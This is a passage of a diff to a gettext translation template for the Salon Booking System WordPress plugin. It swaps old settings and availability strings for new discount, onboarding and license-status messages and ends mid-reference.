build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:171, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:171, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:163, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:171\n-msgid \"Use it in case of conflicts with your theme\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:86\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:86\n+msgid \"Leave it blank if you want to be applied to all services\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:168, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:168, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:168, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:168, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:168, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:168\n-msgid \"JS on front-end\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:125\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fdiscount\u002Fmetabox\u002F_discount_details.php:125\n+msgid \"Leave it blank if you want to be applied to all shops\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:184, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:184, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:184, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:184\n-msgid \"Replace booking modal window with a pop-up\"\n+#. %s: the default email address of the site\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:33\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:33\n+#, php-format\n+msgid \"\"\n+\"Leaving this field empty will cause the default site name \u003Cstrong>(%s)\"\n+\"\u003C\u002Fstrong> to be used\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:187, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:187, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:187, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:187, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:187, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:187\n-msgid \"This allows replace booking modal window with a pop-up.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:61\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_payments_pro_pay_deposit_advanced_rules.php:61\n+msgid \"less than\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:198, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:198, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:198, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:198\n-msgid \"Disable Google fonts\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:21\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fsrc\u002FSLN\u002FData\u002FFeatureIndex.php:21\n+msgid \"Let customers choose their favourite staff member.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:201, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:201, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:201, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:201\n-msgid \"Disable all Google fonts according to the standard GDPR.\"\n+#. Description of the plugin\n+msgid \"\"\n+\"Let your customers book you services through your website. Perfect for \"\n+\"hairdressing salons, barber shops and beauty centers.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:212, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:212, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:212, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:212, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:212, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:212\n-msgid \"Hide service duration\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_general.php:193\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_general.php:193\n+msgid \"Let your customers choose their favourite staff member.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002Ftab_style.php:215, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002Ftab_style.php:215, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_style.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002Ftab_style.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002Ftab_style.php:215, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002Ftab_style.php:215\n-msgid \"When enabled, service duration will be hidden on booking form and email notification\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fsettings\u002Ftab_documentation.php:64\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002Ftab_documentation.php:64\n+msgid \"Let's rate\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_availability_preview.php:15, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_preview.php:15, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_preview.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_preview.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_preview.php:15, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_preview.php:15\n-msgid \"Visual overview of your booking availability based on current rules and session duration.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fviews\u002Fadmin\u002Fonboarding.php:56\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fbuild\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fadmin\u002Fonboarding.php:56\n+msgid \"Let's set up your booking system in just a few steps\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_availability_preview.php:31, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_preview.php:31, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_preview.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_preview.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_preview.php:31, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_preview.php:31\n-msgid \"Session Duration\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:58\n+msgid \"License activated successfully\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_availability_preview.php:46, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_preview.php:46, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_preview.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_preview.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_preview.php:46, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_preview.php:46\n-msgid \"Active Rules\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:371\n+msgid \"\"\n+\"License activation limit reached. Deactivate from another site to use on \"\n+\"this site.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_availability_preview.php:60, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_preview.php:60, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_preview.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_preview.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_preview.php:60, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_preview.php:60\n-msgid \"Updating preview...\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:130\n+msgid \"License deactivated with success\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_availability_row.php:166, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_row.php:166, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_row.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_row.php:166, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_row.php:166\n-msgid \"This rule is always Enabled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:82\n+msgid \"License has been disabled. Please contact support.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_availability_row.php:167, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_availability_row.php:167, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_availability_row.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_availability_row.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_availability_row.php:167, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_availability_row.php:167\n-msgid \"Not always Enabled\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:76\n+msgid \"License has expired. Please renew your license.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_holiday_row.php:235, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_holiday_row.php:235, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_holiday_row.php:235, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_holiday_row.php:235, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_holiday_row.php:235, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_holiday_row.php:235\n-msgid \"Start on\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:106\n+msgid \"\"\n+\"License has reached its activation limit. You may need to deactivate it from \"\n+\"another site first.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_holiday_row.php:239, views\u002Fsettings\u002F_holiday_row.php:252, views\u002Fsms\u002Fremind.php:49, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_holiday_row.php:239, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_holiday_row.php:252, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsms\u002Fremind.php:49, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_holiday_row.php:239, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_holiday_row.php:252, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsms\u002Fremind.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_holiday_row.php:239, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_holiday_row.php:252, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsms\u002Fremind.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_holiday_row.php:239, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_holiday_row.php:252, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsms\u002Fremind.php:49, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_holiday_row.php:239, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_holiday_row.php:252, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsms\u002Fremind.php:49\n-msgid \"at\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:100\n+msgid \"License is already active on this site.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_holiday_row.php:248, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_holiday_row.php:248, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_holiday_row.php:248, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_holiday_row.php:248, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_holiday_row.php:248, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_holiday_row.php:248\n-msgid \"End on\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:217\n+msgid \"\"\n+\"License is being used on more sites than allowed. Please deactivate it from \"\n+\"some sites first.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_availability.php:9, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:9, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:9, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:9\n-msgid \"Select your favourite booking system mode.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:94\n+msgid \"\"\n+\"License is over-activated. You have more sites using this license than \"\n+\"allowed. Please deactivate it from some sites first.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_availability.php:27, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:27, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:27, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_availability.php:27\n-msgid \"Choose which kind of booking algorithm want to use for your salon according to your specific booking needs.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:64\n+msgid \"\"\n+\"License is valid but already active on another site. You may need to \"\n+\"deactivate it from the other site first.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_cancellation.php:16, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:16, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:16, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:16\n-msgid \"Booking cancellation\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:70\n+msgid \"License is valid but inactive. Please check your license status.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_cancellation.php:17, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:17, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:17, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:17\n-msgid \"Select this option if you want your users able to cancel a booking from the front-end.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:212\n+msgid \"\"\n+\"License is valid but not activated on this site. You may need to deactivate \"\n+\"it from another site first.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_cancellation.php:23, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:23, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:23, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:23\n-msgid \"Auto-trash cancelled bookings\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:168\n+msgid \"License Key\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_cancellation.php:24, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:24, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:24, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:24\n-msgid \"Automatically move cancelled bookings to trash. They will no longer appear in the calendar but can still be restored from the trash.\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:196\n+msgid \"License State\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_cancellation.php:28, views\u002Fsettings\u002F_tab_booking_rescheduling.php:21, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:28, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:21, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:28, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:21, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:28, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_rescheduling.php:21\n-msgid \"Time in advance\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:551\n+msgid \"License status cleared. Please refresh the page.\"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_cancellation.php:48, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:48, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:41, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:48, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.5\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:48\n-msgid \"How many hours before the appointment the cancellation is still allowed\"\n+#: ..\u002F..\u002F..\u002F..\u002F..\u002F..\u002F..\u002FDesktop\u002FSalon Booking\n+#: System\u002Fdevelopment\u002Fbitbucket\u002Fsrc\u002FSLN\u002FUpdate\u002FPage.php:112\n+msgid \"License status: \"\n msgstr \"\"\n \n-#: views\u002Fsettings\u002F_tab_booking_cancellation.php:51, build\u002Ftmp\u002Fsalon-booking-system\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:51, build\u002Ftmp\u002Fsvn\u002Ftrunk\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:51, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.3\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:44, build\u002Ftmp\u002Fsvn\u002Ftags\u002F10.30.4\u002Fviews\u002Fsettings\u002F_tab_booking_cancellation.php:51, 